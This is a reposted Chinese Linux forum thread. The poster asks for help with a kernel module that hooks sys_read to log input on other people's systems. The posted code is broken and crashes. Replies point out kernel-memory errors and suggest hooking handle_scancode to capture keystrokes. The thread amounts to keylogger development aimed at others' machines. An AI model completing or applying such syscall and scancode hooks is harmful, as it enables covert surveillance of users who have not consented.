当前位置:  技术问答>linux和unix

高分提问 高手请进 有关键盘监控的问题

    来源: 互联网  发布时间:2016-03-24

    本文导语:  我希望实现监控别人系统输入的功能,按照开源项目Sebek的说法可以直接hook sys_read  我就是这么做的  代码如下  asmlinkage ssize_t NewRead (unsigned int fd, char *buf, size_t count) { static unsigned int i = 0; ssize_t nRes;   //...

我希望实现监控别人系统输入的功能,按照开源项目Sebek的说法可以直接hook sys_read 
我就是这么做的 
代码如下 
asmlinkage ssize_t NewRead (unsigned int fd, char *buf, size_t count)
{
static unsigned int i = 0;
ssize_t nRes;
  //----- run original sys_read....
nRes = pOldRead(fd, buf, count);
  //----- check for error and interest
if(nRes 1)
  {
   memcpy(Buffer,buf,1023>count?count:1023);
   Buffer[1023>count?count:1023]=0;
   klib_fprintf(pFile,"%u :SysRead %u bytes: "%s" .rn",i,(unsigned long)count,Buffer);
   i++;
  }
}
OUT:
return nRes;  
}
但是每次这个模块安装之后几秒钟必定挂掉
然后查看的输出信息很复杂
根本和用户输入无关
我想问
1 如何判断这个read函数调用的初始进程是谁
2 我的代码为什么会造成系统崩溃 
第一次来这个论坛发贴
希望各位牛人多帮忙
btw klib_fprintf是我自己写的内核态写文件的函数代码

再给大家贴一些我在日志文件中读到的信息片段  谁知道这些究竟是什么东西 
如何过滤掉
71 :SysRead 129 bytes: "Name:        hald-addon-keyb
State:        S (sleeping)
SleepAVG:        78%
Tgid:        4139
Pid:        4139
PPid:        4125
TracerPid:        0
Uid:        107        107        107        107
Gid:        11" .

72 :SysRead 129 bytes: "Name:        hald-addon-acpi
State:        S (sleeping)
SleepAVG:        78%
Tgid:        4131
Pid:        4131
PPid:        4125
TracerPid:        0
Uid:        107        107        107        107
Gid:        11" .

73 :SysRead 129 bytes: "Name:        hald-runner
State:        S (sleeping)
SleepAVG:        47%
Tgid:        4125
Pid:        4125
PPid:        4124
TracerPid:        0
Uid:        0        0        0        0
Gid:        0        0        0        0
FDSize" .

74 :SysRead 129 bytes: "Name:        hald
State:        S (sleeping)
SleepAVG:        89%
Tgid:        4124
Pid:        4124
PPid:        1
TracerPid:        0
Uid:        107        107        107        107
Gid:        114        114        114        114
" .

75 :SysRead 129 bytes: "Name:        dbus-daemon
State:        S (sleeping)
SleepAVG:        60%
Tgid:        4108
Pid:        4108
PPid:        1
TracerPid:        0
Uid:        103        103        103        103
Gid:        106        106        1" .

76 :SysRead 129 bytes: "Name:        klogd
State:        S (sleeping)
SleepAVG:        78%
Tgid:        4087
Pid:        4087
PPid:        1
TracerPid:        0
Uid:        102        102        102        102
Gid:        103        103        103        103" .

|
code虽少,问题多多。kernel的coding和应用程序的coding有很多不同。

pFile和Buffer是什么?


memcpy(Buffer,buf,1023>count?count:1023);
不能直接用memcpy拷贝用户进程的东西到kernel.

还有,你若只想监控别人系统输入,保存所有文件的read是不是有点太多了。

|
handle_scancode()
函数是所有键盘必须调用的函数。参数就是扫描码。楼主可以在这个函数里做文章。
在这个函数里掉用你的函数。就可以实现了。

|
关注~~~

|


|
什么呀

|
该回复于2008-11-05 13:26:41被版主删除

    
 
 
 
本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。












  • 相关文章推荐
  • 高分求助高分求助高分求助高分求助高分求助高分求助
  • 谁参加过weblogic的证书考试,是否有经验可供参考?高分高分高高分
  • 哪里有JB6下载啊,高分相送,救命
  • 高分求救!我在uclinux上运行应用程序时出现内存分配错误,不知如何解决,解决者高分!!
  • 哪里去找中文的EJB文章?高分悬赏!
  • 有jsp的upload和download 代码么,高分相报!
  • (高分求助)请问,那里有软件开发的<设计文档>
  • 高分寻求jsp代码(网上调查系统,新闻发布系统)就这点分了
  • 高分求购做饼图、线形图的源吗?
  • 关于linu下的中文输入.(高分:300)
  • 一个简单的问题,高分求助!!!
  • 高分求购jbulider6得注册码,企业版本,个人版本都要
  • Linux远程访问的问题,高分求教:)
  • 请问哪儿有Solaris8的光盘映像文件下载???高分相赠!!!
  • 高分求“Ration Rose”&"JBuilder6.0"&"VisualCafe"
  • VJ的一个问题,高分求助,熟悉VJ得请进!
  • 高分求购:linux和unix命令大全电子文档
  • 急救:关于BLOB数据类型---在线等待,高分相送!
  • 求UNIXWARE7.11的原版下载,高分相赠,在线等待!!!
  • 关于java?高分相送!


  • 站内导航:


    特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

    ©2012-2021,,E-mail:www_#163.com(请将#改为@)

    浙ICP备11055608号-3